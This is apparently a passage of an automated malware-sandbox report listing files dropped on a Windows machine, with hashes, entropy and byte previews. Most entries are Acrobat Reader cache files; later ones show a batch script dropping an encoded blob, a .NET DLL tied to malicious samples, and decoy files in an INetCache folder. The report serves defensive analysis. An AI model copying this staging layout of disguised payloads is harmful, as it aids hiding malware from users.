SHA-512:	1ABD1771E3FF255B7C1F4578880C369545B5754A8376DA11FEA2033DEB0CCDB39FE33C026D41EB22223F65D97D094084B4E17874A585877CA0E6EFC86F1D6991
Malicious:	false
Preview:	0\r..m......R...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/selector.js .^....[/....."#.D$......A.A..Eo......a.'...........U...I.>P...X...x..0U.~;m.x.k.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fd17b2d8331c91e8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.549037757651236
Encrypted:	false
SSDEEP:	3:m+lUg18RzYOCGLvHkWBGKuKjXKrAUWiKPWFv/n+KCF8LktQUEB6shoq+Nem1:mMOYOFLvEWdwAPVuJ19QtLEB6Jn1
MD5:	D46FF8C88D3AB5CA048C3913AE333022
SHA1:	073E33F254E4E80708899D52DFAD78E5C0289961
SHA-256:	9A26AA27FDE261B79C627FDA043089F0CBC8372BA3CA32326CD016448AC29DC4
SHA-512:	1F96C8407C7342A65931FEFAC286967905041E534CC2DA5B59DA498BA5003FE3EC57560F60AD5ED06E19E233B4B26E5299A1AF9A7FA5BDCBFCA86E6AE0F92D4A
Malicious:	false
Preview:	0\r..m......L....Ey....._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/selector.js ..8...[/....."#.D.......A.A..Eo......./.!.............k....F..D..O.n;[.1m.....=..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fdd733564de6fbcb_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.660481480044912
Encrypted:	false
SSDEEP:	6:m3PXYOFLvEWdBJvYQnW+40jtOlqhcsBXIh1:mxRBJQR+4Q44B
MD5:	731F40A2BA3C9FEDF29D30F09F4D1708
SHA1:	6ADF13235FB9F3D87A06611D6D0C9CB38FD23FC5
SHA-256:	2054BE7797918B4ACAB1A3F634A87B3422A3C8731FCC5AEA1DD5E3BEDDDDF0C4
SHA-512:	6ABD5372328035BFD7E44E9701D74B0B686A2FB4218473D52316FE8918D2F29A836B877D6934DC74E05D362E5E41B1DCCD5F49050BC2ABED11E52D36E7892055
Malicious:	false
Preview:	0\r..m......T......z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/plugin.js .....[/....."#.D+......A.A..Eo.....................k..`..N3.... ..d..$[.....{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\febb41df4ea2b63a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.545826954973845
Encrypted:	false
SSDEEP:	6:msPYOFLvEWdrROk/RJUQQDKtfHLc3Me/1:3RrROk/sVKhr
MD5:	A2265E10E4098AF2E895BB0D35FB8BEB
SHA1:	4B528A3E041B058C50142137591443016C34CF05
SHA-256:	AFE1DFAAB585CAFFA5D58800C71745AD2965971F23EBEAF45880AEC192CE018E
SHA-512:	DC8600229E67290E859BE4A4E2B291B441F222E5F0048045D55B8357E6360EA373AF601129DE0D3FF68CFE10DBEDC69CAEA94FE4E3D0A37AE87899E6F0BF19A4
Malicious:	false
Preview:	0\r..m......d...<.s....._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/plugin.js .C/...[/....."#.D:......A.A..Eo.......7.v.............9Q].8O.z....=..:.N.{....N{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	1032
Entropy (8bit):	5.094212402716158
Encrypted:	false
SSDEEP:	12:xuU5udGUF005G0Mzl+c2MVLE2VhJC5tKjGJBndAKag:xETFk0M8ykd0Kag
MD5:	F24D3520CA59BD18F10318E973F5FC29
SHA1:	149362174816FAB40FF37AB909BABDA096EBEC73
SHA-256:	6713CED1B2743CCDB8C1ECDAF3E03768E27F63F00E6B193FB86AE2BDFEADE68A
SHA-512:	1F239738B992DD4EEC74BADEB6903BB390FCB10D7007F41CC1CD90FE62B3DB051D3AB6AF1C8C414264A99EFA4ACB5F6C0024003F8D93E349187F5C9D0CF660C2
Malicious:	false
Preview:	....B..5oy retne....)........T............3.....}..[/..........v...q....m..[/..........C..M.....k...............#...(...k.............]...I...@..[/..................@..[/...........6<\|.....m..[/.........<...W..J..m..[/..............oB..m..[/...........a......m..[/...........;.y~A...}..[/...........P....V..}..[/.........F..=z;...}..[/.............o...}..[/...............}..[/...........2q......}..[/.........Gy.'.h...}..[/.............k7A...}..[/.........:..N.A....}..[/..........;/.....}..[/..................}..[/............P[. q..}..[/.........,+..._.#..}..[/..........J..j.....}..[/.........A?.2:....}..[/..............q...}..[/..........u\]..q..}..[/.........!...0.o..}..[/.................}..[/..........o..k....}..[/.........^.~..z...}..[/..........[.i..%...}..[/.........+.U.!..V..}..[/..........+.{..'..}..[/..........&.S......}..[/..........~.,.4>...}..[/............MV3....}..[/..........@..x...}..[/.........)....J:..}..[/.............D.4...}..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.094212402716158
Encrypted:	false
SSDEEP:	12:xuU5udGUF005G0Mzl+c2MVLE2VhJC5tKjGJBndAKag:xETFk0M8ykd0Kag
MD5:	F24D3520CA59BD18F10318E973F5FC29
SHA1:	149362174816FAB40FF37AB909BABDA096EBEC73
SHA-256:	6713CED1B2743CCDB8C1ECDAF3E03768E27F63F00E6B193FB86AE2BDFEADE68A
SHA-512:	1F239738B992DD4EEC74BADEB6903BB390FCB10D7007F41CC1CD90FE62B3DB051D3AB6AF1C8C414264A99EFA4ACB5F6C0024003F8D93E349187F5C9D0CF660C2
Malicious:	false
Preview:	....B..5oy retne....)........T............3.....}..[/..........v...q....m..[/..........C..M.....k...............#...(...k.............]...I...@..[/..................@..[/...........6<\|.....m..[/.........<...W..J..m..[/..............oB..m..[/...........a......m..[/...........;.y~A...}..[/...........P....V..}..[/.........F..=z;...}..[/.............o...}..[/...............}..[/...........2q......}..[/.........Gy.'.h...}..[/.............k7A...}..[/.........:..N.A....}..[/..........;/.....}..[/..................}..[/............P[. q..}..[/.........,+..._.#..}..[/..........J..j.....}..[/.........A?.2:....}..[/..............q...}..[/..........u\]..q..}..[/.........!...0.o..}..[/.................}..[/..........o..k....}..[/.........^.~..z...}..[/..........[.i..%...}..[/.........+.U.!..V..}..[/..........+.{..'..}..[/..........&.S......}..[/..........~.,.4>...}..[/............MV3....}..[/..........@..x...}..[/.........)....J:..}..[/.............D.4...}..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index~RF3d1a74.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.094212402716158
Encrypted:	false
SSDEEP:	12:xuU5udGUF005G0Mzl+c2MVLE2VhJC5tKjGJBndAKag:xETFk0M8ykd0Kag
MD5:	F24D3520CA59BD18F10318E973F5FC29
SHA1:	149362174816FAB40FF37AB909BABDA096EBEC73
SHA-256:	6713CED1B2743CCDB8C1ECDAF3E03768E27F63F00E6B193FB86AE2BDFEADE68A
SHA-512:	1F239738B992DD4EEC74BADEB6903BB390FCB10D7007F41CC1CD90FE62B3DB051D3AB6AF1C8C414264A99EFA4ACB5F6C0024003F8D93E349187F5C9D0CF660C2
Malicious:	false
Preview:	....B..5oy retne....)........T............3.....}..[/..........v...q....m..[/..........C..M.....k...............#...(...k.............]...I...@..[/..................@..[/...........6<\|.....m..[/.........<...W..J..m..[/..............oB..m..[/...........a......m..[/...........;.y~A...}..[/...........P....V..}..[/.........F..=z;...}..[/.............o...}..[/...............}..[/...........2q......}..[/.........Gy.'.h...}..[/.............k7A...}..[/.........:..N.A....}..[/..........;/.....}..[/..................}..[/............P[. q..}..[/.........,+..._.#..}..[/..........J..j.....}..[/.........A?.2:....}..[/..............q...}..[/..........u\]..q..}..[/.........!...0.o..}..[/.................}..[/..........o..k....}..[/.........^.~..z...}..[/..........[.i..%...}..[/.........+.U.!..V..}..[/..........+.{..'..}..[/..........&.S......}..[/..........~.,.4>...}..[/............MV3....}..[/..........@..x...}..[/.........)....J:..}..[/.............D.4...}..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.169741129193112
Encrypted:	false
SSDEEP:	6:k7O6dyq2Pwkn2nKuAl9OmbnIFUtIO68jz1ZmwuO68jlRkwOwkn2nKuAl9OmbjLJ:kFgvYfHAahFUtQgz1/egz5JfHAaSJ
MD5:	075E4815EC3FA097629300311270CA61
SHA1:	BE49359B7E1B0118BDFD227DD1C0DD45A098B0B9
SHA-256:	0AD5795C7F74F7C6D2C3A22F7704AAF5CDAAA801E4229E2B963FAA4D9106D5B5
SHA-512:	F6006572AE65AD29511CB7CD0099121E17FFCF1979E872E126231E48121868E851FE4BB415B46BD664BBBA4C960EF98EFEC25BCC173E870E8DC9E2BC9149D1DD
Malicious:	false
Preview:	2023/06/01-12:14:45.253 1a14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:45.254 1a14 Recovering log #3.2023/06/01-12:14:45.254 1a14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.169741129193112
Encrypted:	false
SSDEEP:	6:k7O6dyq2Pwkn2nKuAl9OmbnIFUtIO68jz1ZmwuO68jlRkwOwkn2nKuAl9OmbjLJ:kFgvYfHAahFUtQgz1/egz5JfHAaSJ
MD5:	075E4815EC3FA097629300311270CA61
SHA1:	BE49359B7E1B0118BDFD227DD1C0DD45A098B0B9
SHA-256:	0AD5795C7F74F7C6D2C3A22F7704AAF5CDAAA801E4229E2B963FAA4D9106D5B5
SHA-512:	F6006572AE65AD29511CB7CD0099121E17FFCF1979E872E126231E48121868E851FE4BB415B46BD664BBBA4C960EF98EFEC25BCC173E870E8DC9E2BC9149D1DD
Malicious:	false
Preview:	2023/06/01-12:14:45.253 1a14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:45.254 1a14 Recovering log #3.2023/06/01-12:14:45.254 1a14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF3cb1f6.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.169741129193112
Encrypted:	false
SSDEEP:	6:k7O6dyq2Pwkn2nKuAl9OmbnIFUtIO68jz1ZmwuO68jlRkwOwkn2nKuAl9OmbjLJ:kFgvYfHAahFUtQgz1/egz5JfHAaSJ
MD5:	075E4815EC3FA097629300311270CA61
SHA1:	BE49359B7E1B0118BDFD227DD1C0DD45A098B0B9
SHA-256:	0AD5795C7F74F7C6D2C3A22F7704AAF5CDAAA801E4229E2B963FAA4D9106D5B5
SHA-512:	F6006572AE65AD29511CB7CD0099121E17FFCF1979E872E126231E48121868E851FE4BB415B46BD664BBBA4C960EF98EFEC25BCC173E870E8DC9E2BC9149D1DD
Malicious:	false
Preview:	2023/06/01-12:14:45.253 1a14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:45.254 1a14 Recovering log #3.2023/06/01-12:14:45.254 1a14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.008907738108328683
Encrypted:	false
SSDEEP:	3:ImtV/CuttMTLS/Jf0lt+urQTlD7vt/lcvmllP62/X:IiV1kTLLlousTxvv6m
MD5:	0A339004BCB425813505AE2871E61E20
SHA1:	9BDA040B5589E1B919A259DB212F4CE8E32AAA8F
SHA-256:	46828E139BE167C9E36B556EB137571DE93A29930C366CE0666B1385BC106517
SHA-512:	DA3CE56FFA0538D022A80F7F6DAE1E89586E27FC484E82CCCAADC9EE163BEBBEDA2CAB446D507C622BAE868086E382F5436E328418BB877FBBF0A2192CB61DF8
Malicious:	false
Preview:	VLnk.....?......).0k.....................................................................................................................................................................................................................................................U....n.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-230601101441Z-288.bmp

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.6442903166717108
Encrypted:	false
SSDEEP:	96:6JiNp29ECmTTT8dePc4lDe/quy47rHMMMT8:CyCaT8UgB3
MD5:	E0E44159B1CE64E3FBCA349002312A5A
SHA1:	3E2C1142527A78285FCBE981250E07A6FB5C94E5
SHA-256:	850CACAE25D1D93F40679BF94F801027CDB3DFDACA2CDFFBA2836EE0B19DCE44
SHA-512:	EFC5A54E1A000DD4D38AC95EFA76412A2B4EF7E94A7B4C6AC20A8656551756D3D05A0323BB29CAC47008D71024300468B9B2A735CA16A23EC6DF1CEEC856E487
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3024000, file counter 16, database pages 15, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	3.568190540254072
Encrypted:	false
SSDEEP:	384:XeT9dThltELJ8fwRRwZsLRGlKhsvXh+vSc:mkYZsLQhUSc
MD5:	B657D13FEAAB58370E45D550A49C8465
SHA1:	086E22290B6A3B8E6BAC3737597FBB6C4C1BDACD
SHA-256:	1738BF168C51FD120BDE504515EE50A7F91F99990BBF197282B27B16C8FEA324
SHA-512:	AF659E40FFFD64E31408036EC725398B2A3B3872525C10E8A9BA0566BBEE66E26D7DED305C014EAB631C3697109D79514F33843E6493A91BA9D9498C05B77C17
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................$.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.315974304477115
Encrypted:	false
SSDEEP:	48:7MY2iomVQYom1Cgiom8Vom1Nom1Aiom1RROiom1Com1pom1riomVKiomGwnqQlmu:7uCggOhPCK8nN49IVXEBodRBk4
MD5:	56FC7D677AA825622EAB693ACB26CC60
SHA1:	352645F7658F84A74CEEABBA0C3D7456CA663883
SHA-256:	B37A2BF6317EE7D79A1C83719F191ACFDF9C54EF578ABBFA559290C5C0689FDE
SHA-512:	9AF9A08A725FDF2EAE106CA453FBBF69DDE29FF5925513746C881C7F7F012DFAA242F34AA1318A14682232A3510C666DFC9820C1ACFB62A4D53597E05AD5689A
Malicious:	false
Preview:	.... .c......e6...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................W....<.W.L...y.......~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	63598
Entropy (8bit):	5.4331110334817385
Encrypted:	false
SSDEEP:	768:PCbGNFYGpiyVFiC0ZlZ71Hs3gkZX8S9VYRX4mKDGYyu:J0GpiyVFihlZ7Vs3bV04mkGK
MD5:	E24CFA8DB27E76DD4411850C56EFEE5B
SHA1:	E7D396D1BEA753474BCD86FB9E774052CF8E5B37
SHA-256:	7E570368A392A2D6776E3AE5B139F0D0D105F15CC5C21624A5DCEEEDF5DB24FB
SHA-512:	9A6F4122A0A01CC419B3CCF6E861532CD10F96222F275A2EBC4023A2E56FCE4FDB53AB44BB7EAFA607A5E30C3490414FDB755228CC0258A97AFEB82A2F72FA16
Malicious:	false
Preview:	4.382.88.FID.2:o:........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.94.FID.2:o:........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.82.FID.2:o:........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Quarrelers.Cod

Process:	C:\Users\Public\u5p3.bat
File Type:	ASCII text, with very long lines (63174), with no line terminators
Category:	dropped
Size (bytes):	63174
Entropy (8bit):	2.6774097576064904
Encrypted:	false
SSDEEP:	768:3YEEGqhLpa+/YcynMY2/LX+OLugY5QzfsqHeWEEtKxla+2HfoiHdGhM0RSliNkWj:P+gnaLU6nHfOhJSAk9MN8ABC0riG
MD5:	4A179C732FBA82188F2D1C207BFE228E
SHA1:	D8A88AB76074671ED11A9636DBE6012A2B61C6C1
SHA-256:	2ADE6C66A5BF036D8E9899ADE349C7A887BE41757A7004869E19A64AB2BD0B7E
SHA-512:	D6200251DC566516FFD8601153022B0E8AAAFCED83CA2A95CB3F93E12E84DDFEC2FBC48CACFE49EBF34A25D5418FDEF154D31AB008BBA878B7B21E7D98FD81EF
Malicious:	false
Preview:	003000E9004E00000041000000484800D10000606000230000575700C10000006A6A00A0A0A0001717170000005C5C00A7000000F50000004C4C000028282800A70000A70070707070707000AF00DF00AFAF00EBEB00AF0000000000F00057001F008D8D002C2C2C0000000000606060606060600000800000E7000000320000003737007A7A0000606060606000007474740000000000262600BDBD008F0000F8F80051510033330000CC0000000000E3E300B00000BA0000000303009595959500B40054545454005700F600006C0000EA004A4A000D00001B1B1B1B000039000000000000737373730000AC004100000000002B0000202020202000858500CC000017005900003D0045450000006D00FE00000005050505000055555500000098000000AC00007E006200000900003D3D004F4F000000000000D6007D7D003D00000000000043430000007F007E00F600000000000000000000000041008E8E8E8E8E8E8E006F6F0035004B000000CA002C00130000000000000000AE00006000000000EB000000E700004D4D4D00AD0000330045454545450000000500A9A9008D8D0000D4000000ED00000000003D3D000000C1C1000000000B000000CACACACACACACA0047003232004E4E00000000F300000000003D00008E8E007F000E004545454500007B009C9C9C00000003030000

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\Postpyloric6.Ann

Process:	C:\Users\Public\u5p3.bat
File Type:	data
Category:	dropped
Size (bytes):	118233
Entropy (8bit):	7.710808982633477
Encrypted:	false
SSDEEP:	3072:XO5UDdjGuQqD+lhBEfDhNTWYZwhVZqBEKwib7YuX3:LDddisbaY6hVZqBLdRX3
MD5:	A7B2863D380B7FE3F8E99B4BF634B39F
SHA1:	85595D001B815501BB91996BCAE34600ABA3C36E
SHA-256:	65FE205CBE270540C6E67A3307C61EE18475062F36F8A5836B3958BD7E24F533
SHA-512:	3403955017869C8A4602441B20EDC52EC9AFC26CA6FE3891309BEF8B2A4CDD7C4D50CC2DCE667467CC72044C01F729476772FE1B83EF2F4A5CFB3940A4BF7D9B
Malicious:	false
Preview:	...............................U..].........CCC.....2.4.....<.................4.......ddddddd.......w................DDDD....ttt..........................mm......v.x..............%.......}}.u.....................8................}.K.5...................g...u.......c............b.......ff....&&.........l.....................?...............h.......!..\|......5......................................................T...4...yy.........................oo.....j..r.......V..D.....V..........................(......C..333............99..P..........******..JJ..iii.........m.$..........l..$..................................................8....ppppppp........~~~~..........QQQQ..n..M.....................[....GG.............gggggggggg..........===.6.........................C.................999......+.......222......0.y..............b.....!!..................U........[.zz..................7..................Z..........YY.......A.....\|.....M........,,..LLL.1...KK.....H......PP......O..e....J.o.L.....\|

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll

Process:	C:\Users\Public\u5p3.bat
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	5.775805248630538
Encrypted:	false
SSDEEP:	1536:QFNovLGNuZPQtwhY4SFDivO5Ib6VU3x8sDKxq:QFNsLGNulhY4SG+xq
MD5:	0EDD7743DB76D68D2E198F137E56360C
SHA1:	76B0ACA1C410901C8399FBFDAC2AC36E80C4837C
SHA-256:	F03C45B29D8DB5C2BD9461EFB834723C2F9C84A1FED921D9577BC0511AE0B86D
SHA-512:	67716007A5771D3A45104CB0C3823EBAE58F39E91B5A8AA4653A6FD3E65162C824DF7E5944A123DA70F7739904EF46E43B7A7E1906BE95FB11CAE906673FBB58
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: zpeu.exe, Detection: malicious, Browse Filename: zpeu.exe, Detection: malicious, Browse Filename: as.ps1, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: DB948GHBNJI.xlsx, Detection: malicious, Browse Filename: Order-new world foods.xlsx, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: ShipmentReceipt9521368040.xlsx, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: ShipmentReceipt93213628045.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....e.O...........!.....N..........~m... ........@.. ...............................%....@.................................$m..W....................................l............................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................`m......H........F...&...................E.......................................(......0................(....(......(....&.(...+."..(.......Z.~....(....-..s.......0..6........{.........(.....{....M........ZXM)....(.......(........0..D........{........,..o....+.~....(.....{....M........ZXM)....(.......(......0..5..........{..........(.....{....M........ZXM)....(.............0..6..........{..........{....M........ZXM)....(..........(.....*...0..:.......s.......o......(......~.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\bn.txt

Process:	C:\Users\Public\u5p3.bat
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15062
Entropy (8bit):	4.039346182307332
Encrypted:	false
SSDEEP:	192:iM+g4O23sZEstg+lTr++0Mx148IiZaXTXEU10bXYc+4/rexX4:iMyc2stg+lTr++0MQ8DZRDYc+4axI
MD5:	D0E788F64268D15B4391F052B1F4B18A
SHA1:	2FD8E0A9DD22A729D578536D560354C944C7C93E
SHA-256:	216CC780E371DC318C8B15B84DE8A5EC0E28F712B3109A991C8A09CDDAA2A81A
SHA-512:	D50EA673018472C17DB44B315F4C343A2924A2EAA95C668D1160AA3830533CA37CC13C2067911A0756F1BE8C41DF45669ABE083759DCB9436F98E90CBB6AC8BF
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 4.46 : Team Oruddho (Fahad Mohammad Shaon, Mahmud Hassan) : http://www.oruddho.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... ..................&.......&....&.... ................&...... .......440..&....... .... ........&...... .... .............. ......&........& .......&.............. ............... ..... .... ......?..500..&......&..................&..&.......&........&........540..&........ .....7-zip-. ........ ........... ........ .....&..........&............. ...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\find-location-symbolic.svg

Process:	C:\Users\Public\u5p3.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	713
Entropy (8bit):	4.445408002557924
Encrypted:	false
SSDEEP:	12:TMHdPnnl/nu3tlndL9+Wlz3MQFcWUio23kRqaM8UwYOWlz2Wlzm7Wlzi5WlzsbWW:2dPnnxu3tldLklFWUi/3kRqaRUZODv7R
MD5:	9A5B1DB3C4E78A928BDB639BE46AA003
SHA1:	595D3D9C7BB646CF607923AEBC3583B48F03B426
SHA-256:	0C481D646B531DCBF2FCCE2A034CE6A202CAEEB1C17A591756CB3A08514AC9ED
SHA-512:	CA5E59B27D89651DFE89868C2D0DF63EFE64AB4B3E0E49937CFC15E84610505E2378E29D716FB803BEF74C80D99D25E93B7D5E8D7B1BE3EF905A8C910011F47F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 11 8 c 0 1.65625 -1.34375 3 -3 3 s -3 -1.34375 -3 -3 s 1.34375 -3 3 -3 s 3 1.34375 3 3 z m 0 0"/>. <path d="m 8 1 c -3.851562 0 -7 3.144531 -7 7 s 3.148438 7 7 7 s 7 -3.144531 7 -7 s -3.148438 -7 -7 -7 z m 0 2 c 2.773438 0 5 2.230469 5 5 s -2.226562 4.996094 -5 4.996094 s -5 -2.226563 -5 -4.996094 s 2.226562 -5 5 -5 z m 0 0"/>. <path d="m 7 0 h 2 v 3 h -2 z m 0 0"/>. <path d="m 7 13 h 2 v 3 h -2 z m 0 0"/>. <path d="m 16 7 v 2 h -3 v -2 z m 0 0"/>. <path d="m 3 7 v 2 h -3 v -2 z m 0 0"/>. </g>.</svg>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\network-cellular-symbolic.svg

Process:	C:\Users\Public\u5p3.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	441
Entropy (8bit):	4.575285851859924
Encrypted:	false
SSDEEP:	12:t4CDqwqZo8nGGa6Smf+e9s/J7e3VN5IUavl+i:t4CGosm6Sle9s/Be3Vv+lN
MD5:	79F668FBC971471D3CE930DD5B53F01D
SHA1:	0A21641F8BDCA5C3DDAAA2224E80784BF1F3EE9A
SHA-256:	8ECA65E299CCB64B2145263827EED45130336E01A4FB1F309C8A36E8751473D4
SHA-512:	DFA0CD2923F83514181299F7374D553B2B427028E47BC2033E377850FD98121806EA370DEE64349AE410F84CC815E74AFF8E11227FCF21E2E1BF83BAA6BD2616
Malicious:	false
